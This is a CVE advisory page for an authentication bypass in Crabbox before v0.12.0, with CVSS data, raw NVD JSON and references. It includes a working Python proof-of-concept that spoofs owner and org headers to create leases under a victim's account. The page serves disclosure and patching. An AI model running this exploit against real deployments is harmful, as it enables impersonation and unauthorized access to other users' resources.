Security Vulnerability Report
中文
CVE-2026-8621 CVSS 8.8 HIGH

CVE-2026-8621

Published: 2026-05-14 19:16:40
Last Modified: 2026-05-14 19:16:40

Description

Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Crabbox < v0.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Crabbox Authentication Bypass via Header Spoofing # Date: 2026-05-14 # Exploit Author: VulnCheck # Vendor Homepage: https://github.com/openclaw/crabbox # Software Link: https://github.com/openclaw/crabbox/releases/tag/v0.12.0 # Version: < v0.12.0 # Tested on: Linux # CVE: CVE-2026-8621 import requests def exploit(target_url, shared_token, victim_owner, victim_org): """ Exploits the auth bypass by spoofing headers. """ headers = { "Authorization": f"Bearer {shared_token}", "X-Crabbox-Owner": victim_owner, "X-Crabbox-Org": victim_org, "Content-Type": "application/json" } # Example payload to create a lease under victim's context payload = { "image": "alpine:latest", "cmd": "sh", "lease_duration_seconds": 3600 } try: response = requests.post(f"{target_url}/api/lease", json=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit successful! Created lease for {victim_owner}/{victim_org}") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8080" # Replace with actual target TOKEN = "valid_shared_token_here" # Replace with a low-priv shared token VICTIM_OWNER = "admin" # Target user to impersonate VICTIM_ORG = "finance" # Target organization exploit(TARGET, TOKEN, VICTIM_OWNER, VICTIM_ORG)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8621", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:39.517", "lastModified": "2026-05-14T19:16:39.517", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/openclaw/crabbox/commit/b657323f1d1c954cefc8444571fa6c45a8896e7f", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/pull/70", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/releases/tag/v0.12.0", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/crabbox-authentication-bypass-via-header-spoofing", "source": "[email protected]"}]}}